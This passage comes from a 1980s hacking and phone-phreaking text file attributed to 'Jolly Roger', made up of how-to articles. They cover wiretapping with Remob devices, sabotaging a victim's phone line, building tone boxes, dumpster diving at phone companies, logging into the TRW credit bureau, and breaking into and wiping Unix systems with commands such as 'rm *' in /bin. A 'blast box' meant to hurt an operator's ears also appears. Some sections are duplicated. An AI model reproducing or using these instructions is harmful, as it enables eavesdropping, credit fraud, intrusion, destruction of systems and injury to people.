  9129. (In DTMF) a 2 to 5 digit access code while holding each digit down
  9130. at least 1 second.  If the code is not entered within 5 or 6 seconds,
  9131. the Remob will release and must be dialed again.  If the code is
  9132. supposedly another tone will be heard.  A seven digit subscriber
  9133. fone number can then be entered [The Remob can only handle certain
  9134. 'exchanges' which are prewired, so usually one machine cannot
  9135. monitor an entire NPA].  The Remob will then connect to the
  9136. subscribers line.  The listener will hear the low level idle tone
  9137. as long as the monitored party is on hook.  As the monitored party
  9138. dials [rotary or DTMF], the listener would hear [And Record]
  9139. the number being dialed.  Then the ENTIRE conversation, datalink,
  9140. whatever is taking place,  all without detection.  There is no
  9141. current box which can detect Remob observation, since it is being done
  9142. with the telephone equipment that makes the connection.  When the
  9143. listener is finished monitoring of that particular customer,  he keys
  9144. the last digit of the access code to disconnects him from the
  9145. monitored line and return to the tone so that he can key in another
  9146. 7 digit fone #.  When the listener is totally finished with the Remob,
  9147. he keys a single 'disconnect digit' which disconnects him from the
  9148. Remob so that the device can reset and be ready for another caller.
  9149.  
  9150. [_History of Remobs_______________]
  9151.      Bell has kept the existance of Remobs very low key.  Only in
  9152. 1974, Bell acknowledged that Remobs existed.  The device was
  9153. first made public during hearings on "Telephone Monitoring Practices
  9154. by Federal Agencies" before a subcommittee on government
  9155. operations.  House of Representatives, Ninety-Third Congress, June
  9156. 1974. 
  9157. It has since been stated by Bell that the Remob devices
  9158. are used exclusively for monitoring Bell employees such as operators,
  9159. information operators, etc., to keep tabs on their performance.
  9160. [Suuureee, were stupid]
  9161.  
  9162. [__Possible Uses for Remobs__]
  9163.      The possible uses of Remobs are almost as endless as the uses
  9164. of self created fone line.  Imagine the ability to monitor bank lines
  9165. etc, just off the top of my head I can think of these applications:
  9166.  
  9167.      Data Monitoring of:
  9168. TRW
  9169. National Credit Bureau
  9170. AT&T Cosmos
  9171. Bank Institutions
  9172. Compuserve and other Networks.
  9173.      Voice Monitoring of:
  9174. Bank Institutions
  9175. Mail Order buisnesses.
  9176. Bell Telephone themselves.
  9177. Any place handling sensitive or important information.
  9178. Anyone that you may not like.
  9179.  
  9180.      With just one Remob, someone could get hundreds of credit cards,
  9181. find out who was on vacation, get compuserve passwords by the dozens,
  9182. disconnect peoples fones, do credit checks, find out about anything
  9183. that they may want to find out about.  Im sure you brilliant
  9184. can see the value of a telephone hobbiest and a telecommunications
  9185. enthusist getting his hands on a few choice Remobs. <Grin>
  9186.  
  9187. [_Caution________________________]
  9188.    If any reader should discover a Remob during his (or her) scanning
  9189. excursions,  please keep in mind the very strict federal laws
  9190. regarding wiretapping and unauthorized use of private Bell property.
  9191.  
  9192.                               ------------------Jolly Roger
  9193.  
  9194. Scarlet Box Plans                               by the Jolly Roger
  9195.  
  9196.    The purpose of a Scarlet box is to create a very bad conection,
  9197. it can be used to crash a BBS or just make life miserable for those you
  9198. seek to avenge.
  9199. Materials: 2 alligator clips, 3 inch wire, or a resister
  9200. (plain wire will create greatest amount of static)
  9201. (Resister will decrease the amount of static in porportion to 
  9202. the resister you are using)
  9203.  
  9204. Step (1): Find the phone box at your victims house, and pop the cover off.
  9205. Step (2): Find the two prongs that the phone line you wish to box are
  9206. connected to.
  9207. Step (3): Hook your alligator clips to your (wire/resister).
  9208. Step (4): Find the lower middle prong and take off all wires connected to
  9209. it, i think this disables the ground and call waiting and shit like that.
  9210. Step (5): Now take one of the alligator clips and attach it to the upper
  9211. most prong, and take the other and attach it to the lower middle prong.
  9212. Step (6): Now put the cover back on the box and take off!!
  9213.  
  9214.    **       ######## **
  9215.    **       # #### #      **
  9216.             ########       /
  9217.             # #### #      /
  9218.             ########     /
  9219.                         /
  9220.                        /
  9221.                       /
  9222.                      /
  9223.                     /
  9224.                    /
  9225.                   /
  9226.                **/
  9227.                **
  9228.                **
  9229.                **
  9230.                **
  9231.                **
  9232.  
  9233. (**)= prongs 
  9234.  **
  9235. (/) = (wire/resister)
  9236. (##)= some phone bullshit
  9237.  
  9238.                                 --------------------Jolly Roger
  9239.  
  9240. Silver Box Plans                                 by the Jolly Roger
  9241.  
  9242. Introduction:
  9243. ------------
  9244.      First a bit of Phone Trivia. A standard telephone keypad has 12 buttons.
  9245. These buttons, when pushed, produce a combination of two tones. These tones
  9246. represent the row and column of the button you are pushing.
  9247.             1   1   1
  9248.             2   3   4
  9249.             0   3   7
  9250.             9   6   7
  9251.      697   (1) (2) (3)
  9252.      770   (4) (5) (6)
  9253.      851   (7) (8) (9)
  9254.      941   (*) (0) (#)
  9255. So (1) produces a tone of 697+1209, (2) produces a tone of 697+1336, etc.
  9256.  
  9257. Function:
  9258. --------
  9259.      What the Silver Box does is just creates another column of buttons,
  9260. with the new tone of 1633. These buttons are called A, B, C, and D.
  9261.  
  9262. Usefulness:
  9263. ----------
  9264.      Anyone who knows anything about phreaking should know that in the
  9265. old days of phreaking, phreaks used hardware to have fun instead of other
  9266. people's Sprint and MCI codes. The most famous (and useful) was the good
  9267. ol' Blue Box. However, Ma Bell decided to fight back and now most phone systems
  9268. have protections against tone-emitting boxes. This makes boxing just
  9269. about futile in most areas of the United States (ie those areas with Crossbar
  9270. or Step-By-Step). If you live in or near a good-sized city, then your phone
  9271. system is probably up-to-date (ESS) and this box (and most others)
  9272. will be useless. However, if you live in the middle of nowhere (no offense
  9273. intended), you may find a use for this and other boxes.
  9274.  
  9275. Materials:
  9276. ---------
  9277.      1  Foot of Blue Wire
  9278.      1  Foot of Grey Wire
  9279.      1  Foot of Brown Wire
  9280.      1  Small SPDT Switch (*)
  9281.      1  Standard Ma Bell Phone
  9282. (*) SPDT = Single Pole/Double Throw
  9283.  
  9284. Tools:
  9285. -----
  9286.      1  Soldering Iron
  9287.      1  Flat-Tip Screwdriver
  9288.  
  9289. Procedure:
  9290. ---------
  9291. (1) Loosen the two screws on the bottom of the phone and take the casinf off.
  9292. (2) Loosen the screws on the side of the keypad and remove the keypad from
  9293. the mounting bracket.
  9294. (3) Remove the plastic cover from the keypad.
  9295. (4) Turn the keypad so that *0# is facing you. Turn the keypad over. You'll see
  9296. a bunch of wires, contacts, two Black Coils, etc.
  9297. (5) Look at the Coil on the left. It will have five (5) Solder Contacts
  9298. facing you. Solder the Grey Wire to the fourth Contact Pole from the left.
  9299. (6) Solder the other end of the Grey Wire to the Left Pole of the SPDT Switch.
  9300. (7) Find the Three (3) Gold-Plated Contacts on the bottom edge of the keypad.
  9301. On the Left Contact, gently seperate the two touching Connectors (they're
  9302. soldered together) and spread them apart.
  9303. (8) Solder the Brown Wire to the Contact farthest from you, and solder the
  9304. other end to the Right Pole of the SPDT Switch.
  9305. (9) Solder the Blue Wire to the Closest Contact, and the other end to the
  9306. Center Pole of the SPDT Switch.¢¢(10) Put the phone back together.
  9307.  
  9308. Using The Silver Box:
  9309. --------------------
  9310.      What you have just done was installed a switch that will change
  9311. the 369# column into an ABCD column. For example, to dial a 'B', switch
  9312. to Silver Box Tones and hit '6'.
  9313.      Noone is sure of the A, B, and C uses. However, in an area with an
  9314. old phone system, the 'D' button has an interesting effect. Dial Directory
  9315. Assistance and hold down 'D'. The phone will ring, and you
  9316. should get a pulsing tone. If you get a pissed-off operator, you have a
  9317. newer phone system with defenses against Silver Boxes.
  9318. At the pulsing tone, dial a 6 or 7. These are loop ends.
  9319.  
  9320.                                  -----------------Jolly Roger
  9321.  
  9322. Bell Trashing                                   by the Jolly Roger
  9323.  
  9324.      The Phone Co. will go to extreams on occasions. In fact, unless
  9325. you really know what to expect from them, they will suprise the heck
  9326. out of you with their "unpublished tarriffs". Recently, a situation
  9327. was brought to my attention that up till then I had been totaly
  9328. unaware of, least to mention, had any concern about. It involved gar-
  9329. bage! The phone co. will go as far as to prosecute anyone who rumages
  9330. through their garbage and helps himself to some
  9331.      Of course, they have their reasons for this, and no doubt benefit
  9332. from such action. But, why should they be so picky about garbage? The
  9333. answer soon became clear to me: those huge metal bins are filled up
  9334. with more than waste old food and refuse... Although it is Pacific
  9335. Tele. policy to recycle paper waste products, sometimes employees do
  9336. overlook this sacred operation when sorting the garbage.  Thus
  9337. top-secret confidential Phone Co. records go to the garbage bins
  9338. instead of the paper shredders. Since it is constantly being updated
  9339. with "company memorandums, and supplied with extensive reference
  9340. material, the Phone co. must continualy dispose of the outdated
  9341. materials. Some phone companies are supplied each year with the
  9342. complete "System Practices" guide. This publication is an over 40
  9343. foot long library of reference material about everything to do with
  9344. telephones. As the new edition arrives each year, the old version of
  9345. "System Practices" must also be thrown out.
  9346.     I very quickly figured out where some local phone phreaks were
  9347. getting their material. They crawl into the garbage bins and remove
  9348. selected items that are of particular interest to them and their
  9349. fellow phreaks. One phone phreak in the Los Angeles area has salvaged
  9350. the complete 1972 edition of "Bell System Practices". It is so large
  9351. and was out of order (the binders had been removed) that it took him
  9352. over a year to sort it out and create enough shelving for it in his
  9353. garage.
  9354.      Much of this "Top Secret" information is so secret that most phone
  9355. companies have no idea what is in their files. They have their hands
  9356. full simply replacing everything each time a change in wording
  9357. requires a new revision. It seems they waste more paper than they can
  9358. read!
  9359.      It took quite a while for Hollywood Cal traffic manager to figure
  9360. out how all of the local phone phreaks constantly discovered the
  9361. switchroom test numbers
  9362.      Whenever someone wanted to use the testboard, they found the local
  9363. phone phreaks on the lines talking to all points all over the world.
  9364. It got to the point where the local garbage buffs knew more about the
  9365. office operations than the employees themselves. One phreak went so
  9366. far as to call in and tell a switchman what his next daily assignment
  9367. would be. This, however, proved to be too much. The switchman
  9368. traced the call and one phone phreak was denied the tool of his trade.
  9369.      In another rather humorous incident, a fellow phreak was rumaging
  9370. through the trash bin when he heard somone apraoching. He pressed up
  9371. against the side of the bin and silently waited for the goodies to
  9372. come. You can imagine his surprise when the garbage from the lunchroom
  9373. landed on his head. Most people find evenings best for checking out
  9374. their local telco trash piles. The only thing necessary is a
  9375. flashlight and, in the case mentioned above, possibly a rain coat. A
  9376. word of warning though, before you rush out and dive into the trash
  9377. heap. It is probably illegal, but no matter where you live, you
  9378. certainly won't get the local policeman to hold your flashlight for
  9379. you.
  9380.                               --------------------Jolly Roger
  9381.  
  9382. Canadian WATS Phonebook                courtesy of the Jolly Roger
  9383.  
  9384. 800-227-4004 ROLM Collagen Corp.
  9385. 800-227-8933 ROLM Collagen Corp.
  9386. 800-268-4500 Voice Mail
  9387. 800-268-4501 ROLM Texaco
  9388. 800-268-4505 Voice Mail
  9389. 800-268-6364 National Data Credit
  9390. 800-268-7800 Voice Mail
  9391. 800-268-7808 Voice Mail
  9392. 800-328-9632 Voice Mail
  9393. 800-387-2097 Voice Mail
  9394. 800-387-2098 Voice Mail
  9395. 800-387-8803 ROLM Canadian Tire
  9396. 800-387-8861 ROLM Canadian Tire
  9397. 800-387-8862 ROLM Canadian Tire
  9398. 800-387-8863 ROLM Canadian Tire
  9399. 800-387-8864 ROLM Canadian Tire
  9400. 800-387-8870 ROLM Halifax Life
  9401. 800-387-8871 ROLM Halifax Life
  9402. 800-387-9115 ASPEN Sunsweep
  9403. 800-387-9116 ASPEN Sunsweep
  9404. 800-387-9175 PBX [Hold Music=CHUM FM]
  9405. 800-387-9218 Voice Messenger
  9406. 800-387-9644 Carrier
  9407. 800-426-2638 Carrier
  9408. 800-524-2133 Aspen
  9409. 800-663-5000 PBX/Voice Mail [Hold Music=CFMI FM]
  9410. 800-663-5996 Voice Mail (5 rings)
  9411. 800-847-6181 Voice Mail
  9412.  
  9413. NOTES:  Each and every one of these numbers is available to the 604
  9414. (British Columbia) Area Code.  Most are available Canada Wide and some 
  9415. are located in the United States.  Numbers designated ROLM have been
  9416. identified as being connected to a ROLM Phonemail system. 
  9417. Numbers designated ASPEN are connected to an ASPEN voice message system.
  9418. Numbers designated VOICE MAIL have not been identified as to equipment
  9419. in use on that line.  Numbers designated carrier are answered by a modem
  9420. or data set.  
  9421. Most Voice Message systems, and ALL Rolms, sound like an answering machine.
  9422. Press 0 during the recording when in a rolm, * or # or other DTMF in other
  9423. systems, and be propelled into another world...
  9424.  
  9425. Brought to you in the Cookbook by the Jolly Roger!!!!!!!!!!!!!!!!
  9426.  
  9427.  
  9428. Canadian WATS Phonebook                courtesy of the Jolly Roger
  9429.  
  9430. 800-227-4004 ROLM Collagen Corp.
  9431. 800-227-8933 ROLM Collagen Corp.
  9432. 800-268-4500 Voice Mail
  9433. 800-268-4501 ROLM Texaco
  9434. 800-268-4505 Voice Mail
  9435. 800-268-6364 National Data Credit
  9436. 800-268-7800 Voice Mail
  9437. 800-268-7808 Voice Mail
  9438. 800-328-9632 Voice Mail
  9439. 800-387-2097 Voice Mail
  9440. 800-387-2098 Voice Mail
  9441. 800-387-8803 ROLM Canadian Tire
  9442. 800-387-8861 ROLM Canadian Tire
  9443. 800-387-8862 ROLM Canadian Tire
  9444. 800-387-8863 ROLM Canadian Tire
  9445. 800-387-8864 ROLM Canadian Tire
  9446. 800-387-8870 ROLM Halifax Life
  9447. 800-387-8871 ROLM Halifax Life
  9448. 800-387-9115 ASPEN Sunsweep
  9449. 800-387-9116 ASPEN Sunsweep
  9450. 800-387-9175 PBX [Hold Music=CHUM FM]
  9451. 800-387-9218 Voice Messenger
  9452. 800-387-9644 Carrier
  9453. 800-426-2638 Carrier
  9454. 800-524-2133 Aspen
  9455. 800-663-5000 PBX/Voice Mail [Hold Music=CFMI FM]
  9456. 800-663-5996 Voice Mail (5 rings)
  9457. 800-847-6181 Voice Mail
  9458.  
  9459. NOTES:  Each and every one of these numbers is available to the 604
  9460. (British Columbia) Area Code.  Most are available Canada Wide and some 
  9461. are located in the United States.  Numbers designated ROLM have been
  9462. identified as being connected to a ROLM Phonemail system. 
  9463. Numbers designated ASPEN are connected to an ASPEN voice message system.
  9464. Numbers designated VOICE MAIL have not been identified as to equipment
  9465. in use on that line.  Numbers designated carrier are answered by a modem
  9466. or data set.  
  9467. Most Voice Message systems, and ALL Rolms, sound like an answering machine.
  9468. Press 0 during the recording when in a rolm, * or # or other DTMF in other
  9469. systems, and be propelled into another world...
  9470.  
  9471. Brought to you in the Cookbook by the Jolly Roger!!!!!!!!!!!!!!!!
  9472.  
  9473.  
  9474. Hacking TRW                                      by the Jolly Roger
  9475.  
  9476.     When you call TRW, the dial up will identify itself with the message "TRW".
  9477. It will then wait for you to type the appropiate answer back (such as CTRL-G)
  9478.  Once This has been done, the system will say "CIRCUIT BUILDING IN PROGRESS"
  9479. Along with a few numbers. After this, it clears the screen
  9480. (CTRL  L) followed by a CTRL-Q. After the system sends the CTRL-Q, It is
  9481. ready for the request. You first type the 4 character identifyer for the
  9482. geographical area of the account..
  9483.  
  9484. (For Example) TCA1 - for certain Calif. & Vicinity subscribers. 
  9485. TCA2 - A second CALF. TRW System. 
  9486. TNJ1 - Their NJ Database. 
  9487. TGA1 - Their Georgia Database.
  9488.  
  9489. The user then types A <CR> and then on the next line, he must type
  9490. his 3 char. Option. Most Requests use the RTS option.
  9491. OPX, RTX, and a few others exist. (NOTE) TRW will accept an A, C,
  9492. or S as the 'X' in the options above.) Then finally, the user types his 7
  9493. digit subscriber code. He appends his 3-4 character password after it.  It
  9494. seems that if you manage to get hold of a TRW Printout (Trashing at Sears,
  9495. Saks, ETC. or from getting your credit printout from them) Their subscriber
  9496. code will be on it leaving only a 3-4 character p/w up to you.
  9497.  
  9498. For Example,
  9499. (Call the DialUp)
  9500. TRW  System Types, ST) CTRL-G 
  9501. (You type,YT) Circuit building in progress 1234 
  9502. (ST) CTRL-L CRTL-Q (TCA1 CYT) BTS 3000000AAA
  9503. <CR><CRTL-S> (YT]
  9504. Note: This sytem is in Half Duplex, Even Parity, 7 Bits per word and
  9505. 2 Stop Bits.
  9506.  
  9507. CAUTION: It is a very stressed rumor that after typing in the TRW
  9508. password Three (3) times.. It sets an Automatic Number Identification on your
  9509. ass, so be careful. And  forget who told you how to do this..
  9510.  
  9511.                                  ------------------Jolly Roger
  9512.  
  9513. Hacking Vax's & Unix                             by the Jolly Roger
  9514.  
  9515.     Unix is a trademark of At&t (and you know what that means)
  9516.  
  9517. _______________________________________
  9518. In this article, we discuss the unix system that runs on
  9519. the various vax systems.  If you are on another unix-type system, some
  9520. commands may differ, but since it is licenced to bell, they can't make many
  9521. changes.
  9522. _______________________________________
  9523. Hacking onto a unix system is very difficult, and in this case, we advise
  9524. having an inside source, if possible. The reason it is difficult to hack a
  9525. vax is this:  Many vax, after you get a carrier from them, respond=>
  9526. Login:
  9527. They give you no chance to see what the login name format is.  Most commonly
  9528. used are single words, under 8 digits, usually the person's name.  There is
  9529. a way around this:  Most vax have an acct. called 'suggest' for people to
  9530. use to make a suggestion to the system root terminal.  This is usually watched
  9531. by the system operator, but at late he is probably at home sleeping or
  9532. screwing someone's brains out.  So we can write a program to send at the
  9533. vax this type of a message:
  9534. A screen freeze (Cntrl-s), screen clear (system dependant), about 255
  9535. garbage characters, and then a command to create a login acct., after which
  9536. you clear the screen again, then unfreeze the terminal.  What this does:
  9537. When the terminal is frozen, it keeps a buffer of what is sent.  well, the
  9538. buffer is about 127 characters long. so you overflow it with trash, and then
  9539. you send a command line to create an acct. (System dependant).  after this
  9540. you clear the buffer and screen again, then unfreeze the terminal.  This is
  9541. a bad way to do it, and it is much nicer if you just send a command to
  9542. the terminal to shut the system down, or whatever you are after...
  9543. There is always, *Always* an acct. called root, the most powerful acct.
  9544. to be on, since it has all of the system files on it.  If you hack your
  9545. way onto this one, then everything is easy from here on...
  9546. On the unix system, the abort key is the Cntrl-d key.  watch how many times
  9547. you hit this, since it is also a way to log off the system!
  9548. A little about unix architechture: The root directory, called root, is
  9549. where the system resides.  After this come a few 'sub' root directories,
  9550. usually to group things (stats here, priv stuff here, the user log here...).
  9551. Under this comes the superuser (the operator of the system), and then
  9552. finally the normal users.  In the unix 'Shell' everything is treated the same.
  9553. By this we mean:  You can access a program the same way you access a user
  9554. directory, and so on.  The way the unix system was written, everything,
  9555. users included, are just programs belonging to the root directory.  Those
  9556. of you who hacked onto the root, smile, since you can screw everything...
  9557. the main level (exec level) prompt on the unix system is the $, and if you
  9558. are on the root, you have a # (superuser prompt).
  9559. Ok, a few basics for the system... To see where you are, and what paths
  9560. are active in regards to your user account, then type
  9561. => pwd
  9562. This shows your acct. seperated by a slash with another pathname (acct.),
  9563. possibly many times. To connect through to another path,
  9564. or many paths, you would type:
  9565. You=> path1/path2/path3
  9566. and then you are connected all the way from path1 to path3.  You can
  9567. run the programs on all the paths you are connected to.  If it does
  9568. not allow you to connect to a path, then you have insufficient privs, or
  9569. the path is closed and archived onto tape.  You can run programs this way
  9570. also:
  9571. you=> path1/path2/path3/program-name
  9572. Unix treats everything as a program, and thus there a few commands to
  9573. learn...
  9574. To see what you have access to in the end path, type=>
  9575. ls
  9576. for list.  this show the programs you can run.  You can connect to
  9577. the root directory and run it's programs with=>
  9578. /root
  9579. By the way, most unix systems have their log file on the root, so you
  9580. can set up a watch on the file, waiting for people to log in and snatch their
  9581. password as it passes thru the file. To connect to a directory, use the
  9582. command:
  9583. => cd pathname  This allows you to do what you want
  9584. with that directory.  You may be asked for a password, but this is a good
  9585. ay of finding other user names to hack onto.
  9586. The wildcard character in unix, if you want to search down a path for
  9587. a game or such, is the *.
  9588. => ls /*
  9589. Should show you what you can access. The file types are the same as they
  9590. are on a dec, so refer to that section when examining file.  To see what is
  9591. in a file, use the
  9592. => pr
  9593. filename command, for print file.
  9594. We advise playing with pathnames to get the hang of the concept.  There
  9595. is on-line help available on most systems with a 'help' or a '?'.
  9596. We advise you look thru the help files and pay attention to anything
  9597. they give you on pathnames, or the commands for the system.
  9598. You can, as a user, create or destroy directories on the tree beneath you.
  9599. This means that root can kill everything but root, and you can kill any
  9600. that are below you.  These are the
  9601. => mkdir pathname
  9602. => rmdir pathname
  9603. commands.
  9604. Once again, you are not alone on the system... type=> 
  9605. who
  9606. to see what other users are logged in to the system at the time.  If you
  9607. want to talk to them=>
  9608. write username 
  9609. Will allow you to chat at the same time, without having to worry
  9610. about the parser.  To send mail to a user, say
  9611. => mail
  9612. And enter the mail sub-system. To send a message to all the users
  9613. on the system, say
  9614. => wall
  9615. Which stands for 'write all'. By the way, on a few systems,
  9616. all you have to do is hit the <return> key to end the message,
  9617. but on others you must hit the cntrl-d key.
  9618. To send a single message to a user, say
  9619. => write username
  9620. this is very handy again!  If you send the sequence of characters discussed
  9621. at the very beginning of this article, you can have the super-user terminal do
  9622. tricks for you again. 
  9623.  
  9624. Privs:
  9625. If you want superuser privs, you can either log in as root, or edit your
  9626. acct. so it can say
  9627. => su
  9628. this now gives you the # prompt, and allows you to completely by-pass the
  9629. protection.  The wonderful security conscious developers at bell made it
  9630. very difficult to do much without privs, but once you have them, there
  9631. is absolutely nothing stopping you from doing anything you want to.
  9632. To bring down a unix system:
  9633. => chdir /bin
  9634. => rm *
  9635. this wipes out the pathname bin, where all the system maintenance files are.
  9636. Or try:
  9637. => r -r
  9638. This recursively removes everything from the system except the remove
  9639. command itself.
  9640. Or try:
  9641. => kill -1,1
  9642. => sync
  9643. This wipes out the system devices from operation.
  9644. When you are finally sick and tired from hacking on the vax systems, just
  9645. hit your cntrl-d and repeat key, and you will eventually be logged out.
  9646. _______________________________________
  9647. The reason this file seems to be very sketchy is the fact that bell has 7
  9648. licenced versions of unix out in the public domain, and these commands are
  9649. those common to all of them.  I recommend you hack onto the root or
  9650. bin directory, since they have the highest levels of privs, and there
  9651. is really not much you can do (except develop software) without them.
  9652. _______________________________________
  9653.  
  9654. Verification Circuits                  courtesy of the Jolly Roger
  9655.       (originally an Apple ][ file so forgive the upper case!)
  9656.  
  9657. 1. ONE BUSY VERIFICATION CONFERENCE CIRCUIT IS ALWAYS PROVIDED.THE CIRCUIT IS A
  9658. THREE-WAY CONFERENCE BRIDGE THAT ENABLES AN OPERERATOR TO  VERIFY THE BUSY/IDLE
  9659. CONDITION OF A SUBSCRIBER LINE.UPON REQUEST OF A PARTY ATTEMPTING TO REACH A
  9660. SPECIFIED DIRECTORY NUMBER, THE OPERATOR DIALS THE CALLED LINE NUMBER TO
  9661. DETERMINE IF THE LINE IS IN USE,IF THE RECEIVER IS OFF THE HOOK,OR IF THE LINE
  9662. IS IN LOCKOUT DUE TO A FAULT CONDITKON.THE OPERATOR THEN RETURNS TO THE PARTY
  9663. TRYING TO REACH THE DIRE CTORY NUMBER AND STATES THE CONDITION OF THE
  9664. LINE.LINES WITH DATA SECURITY CAN NOT BE ACCESSED FOR BUSY VERIFICATION WHEN
  9665. THE LINE IS IN USE.(REFER ALSO TO DATA SECURITY)
  9666. 2. THREE PORTS ARE ASSIGNED TO EACH BUSY VERIFICATION CONFERENCE CIRCUIT.ONE
  9667. PORT IS FOR OPERATOR ACCESS AND TWO PORTS ARE USED TO SPLIT AN EXISTING
  9668. CONNECTION.TO VERKFY THE BUSY/IDLE CONDITION OF A LINE,THE OPERATOR
  9669. ESTABLISHED A CONNECTION TO THE OPERATOR ACCESS PORT AND DIALS THE DIRECTORY
  9670. NUMBER OF THE LINE TO BE VERIFIED.IF THE LINE IS IN USE,THE EXISTING
  9671. CONNECTION IS BROKEN AND IMMEDIATLY RE-ESTABLISHED THROUGH THE
  9672. OTHER TWO PORTS OF THE BUSY VERIFICATION CIRCUIT WITHOUT INTERRUPTION.
  9673. BUSY VERIFICATION CIRCUIT IS CONTROLLED BY ACCESS CODE. A DEDICATED TRUNK CAN
  9674. BE USED BUT IS NOT NECESSARY.
  9675. 3. THE BUSY VREIFICATION CIRCUIT ALSO CAN BE USED FOR TEST VERIFY FROM THE WIRE
  9676. CHIEFS TEST PANEL.
  9677.    B. ADDITIONAL BUSY VERIFICATION CONFERENCE CIRCUITS (002749)
  9678. O.K. THERE IT IS-RIGHT OUT OF AN ESS MANUAL WORD FOR WORD! (AND IM GETTING 25
  9679. LINEAR FEET OF ESS MANUALS!!! NOT COUNTING THE STACK RECEIVED SO FAR!
  9680.  
  9681.             Brought to you in the Cookbook by the Jolly Roger!!!!
  9682. Verification Circuits                  courtesy of the Jolly Roger
  9683.       (originally an Apple ][ file so forgive the upper case!)
  9684.  
  9685. 1. ONE BUSY VERIFICATION CONFERENCE CIRCUIT IS ALWAYS PROVIDED.THE CIRCUIT IS A
  9686. THREE-WAY CONFERENCE BRIDGE THAT ENABLES AN OPERERATOR TO  VERIFY THE BUSY/IDLE
  9687. CONDITION OF A SUBSCRIBER LINE.UPON REQUEST OF A PARTY ATTEMPTING TO REACH A
  9688. SPECIFIED DIRECTORY NUMBER, THE OPERATOR DIALS THE CALLED LINE NUMBER TO
  9689. DETERMINE IF THE LINE IS IN USE,IF THE RECEIVER IS OFF THE HOOK,OR IF THE LINE
  9690. IS IN LOCKOUT DUE TO A FAULT CONDITKON.THE OPERATOR THEN RETURNS TO THE PARTY
  9691. TRYING TO REACH THE DIRE CTORY NUMBER AND STATES THE CONDITION OF THE
  9692. LINE.LINES WITH DATA SECURITY CAN NOT BE ACCESSED FOR BUSY VERIFICATION WHEN
  9693. THE LINE IS IN USE.(REFER ALSO TO DATA SECURITY)
  9694. 2. THREE PORTS ARE ASSIGNED TO EACH BUSY VERIFICATION CONFERENCE CIRCUIT.ONE
  9695. PORT IS FOR OPERATOR ACCESS AND TWO PORTS ARE USED TO SPLIT AN EXISTING
  9696. CONNECTION.TO VERKFY THE BUSY/IDLE CONDITION OF A LINE,THE OPERATOR
  9697. ESTABLISHED A CONNECTION TO THE OPERATOR ACCESS PORT AND DIALS THE DIRECTORY
  9698. NUMBER OF THE LINE TO BE VERIFIED.IF THE LINE IS IN USE,THE EXISTING
  9699. CONNECTION IS BROKEN AND IMMEDIATLY RE-ESTABLISHED THROUGH THE
  9700. OTHER TWO PORTS OF THE BUSY VERIFICATION CIRCUIT WITHOUT INTERRUPTION.
  9701. BUSY VERIFICATION CIRCUIT IS CONTROLLED BY ACCESS CODE. A DEDICATED TRUNK CAN
  9702. BE USED BUT IS NOT NECESSARY.
  9703. 3. THE BUSY VREIFICATION CIRCUIT ALSO CAN BE USED FOR TEST VERIFY FROM THE WIRE
  9704. CHIEFS TEST PANEL.
  9705.    B. ADDITIONAL BUSY VERIFICATION CONFERENCE CIRCUITS (002749)
  9706. O.K. THERE IT IS-RIGHT OUT OF AN ESS MANUAL WORD FOR WORD! (AND IM GETTING 25
  9707. LINEAR FEET OF ESS MANUALS!!! NOT COUNTING THE STACK RECEIVED SO FAR!
  9708.  
  9709.             Brought to you in the Cookbook by the Jolly Roger!!!!
  9710. White Box Plans                                 by the Jolly Roger
  9711.  
  9712. Introduction:
  9713. ------------
  9714.      The White Box is simply a portable Touch-Tone keypad. For more
  9715. information on Touch-Tone, see my Silver Box Plans.
  9716. Materials:
  9717. ---------
  9718.   1 Touch-Tone Keypad
  9719.   1 Miniature 1000 to 8 Ohm Transformer
  9720.     (Radio Shack # 273-1380)
  9721.   1 Standard 8 Ohm Speaker
  9722.   2 9V Batteries
  9723.   2 9V Battery Clips
  9724.  
  9725. Procedure:
  9726. ---------
  9727. (1) Connect the Red Wire from the Transformer to either terminal on the
  9728. Speaker.
  9729. (2) Connect the White Wire from the Transformer to the other terminal on
  9730. the Speaker.
  9731. (3) Connect the Red Wire from one Battery Clip to the Black Wire from the other
  9732. Battery Clip.
  9733. (4) Connect the Red Wire from the second Battery Clip to the Green Wire
  9734. from the Keypad.
  9735. (5) Connect the Blue Wire from the Keypad to the Orange/Black Wire from
  9736. the Keypad.
  9737. (6) Connect the Black Wire from the first Battery Clip to the two above
  9738. wires (Blue and Black/Orange).
  9739. (7) Connect the Black Wire from the Keypad to the Blue Wire from the
  9740. Transformer.
  9741. (8) Connect the Red/Green Wire from the Keypad to the Green Wire from the
  9742. Transformer.
  9743. (9) Make sure the Black Wire from the Transformer and the remaining wires
  9744. from the Keypad are free.
  9745. (10) Hook up the Batteries.
  9746.  
  9747. Optional:
  9748. --------
  9749. (1) Put it all in a case.
  9750. (2) Add a Silver Box to it.
  9751.  
  9752. Use:
  9753. ---
  9754. Just use it like a normal keypad, except put the speaker next to the
  9755. receiver of the phone you're using.
  9756.  
  9757.                               ---------------------Jolly Roger
  9758.  
  9759. The BLAST Box                                 Courtesy of the Jolly Roger
  9760.  
  9761. Ever want to really make yourself be heard? Ever talk to someone on the phone
  9762. who just doesn't shut up? Or just call the operator and pop her eardrum? Well,
  9763. up until recently it has been impossible for you to do these things. That is,
  9764. unless of course you've got a blast box. All a blast box is, is a really cheap
  9765. amplifier, (around 5 watts or so) connected in place of the microphone on your
  9766. telephone. It works best on model 500 AT&T Phones, and if constructed small
  9767. enough, can be placed inside the phone.
  9768.  
  9769. Construction:
  9770.  
  9771. Construction is not really important. Well it is, but since I'm letting you make
  9772. your own amp, I really don't have to include this.
  9773.  
  9774. Usage:
  9775.  
  9776. Once you've built your blast box, simply connect a microphone (or use the
  9777. microphone from the phone) to the input of the amplifier, and presto. There it
  9778. is. Now, believe it or not, this device actually works. (At least on crossbar.)
  9779. It seems that Illinois bell switching systems allow quite alot of current to
  9780. pass right through the switching office, and out to whoever you're calling. When
  9781. you talk in the phone, it comes out of the other phone (again it works best if
  9782. the phone that you're calling has the standard western electric earpiece)
  9783. incredibly loud. This device is especially good for PBS Subscription drives.
  9784. Have "Phun", and don't get caught!
  9785.  
  9786. ---------------------Jolly Roger
  9787.                Dealing with the Rate & Route Operator         
  9788.  
  9789.  
  9790.         It seems that fewer and fewer people have blue boxes
  9791. these days, and that is really too bad.  Blue boxes, while not
  9792. all that great for making free calls (since the TPC can tell when
  9793. the call was made, as well as where it was too and from), are
  9794. really a lot of fun to play with.  Short of becoming a real live
  9795. TSPS operator, they are about the only way you can really play
  9796. with the network.
  9797.  
  9798.         For the few of you with blue boxes, here are some phrases
  9799. which may make life easier when dealing with the rate & route
  9800. (R&R) operators.  To get the R&R op, you send a KP + 141 + ST.
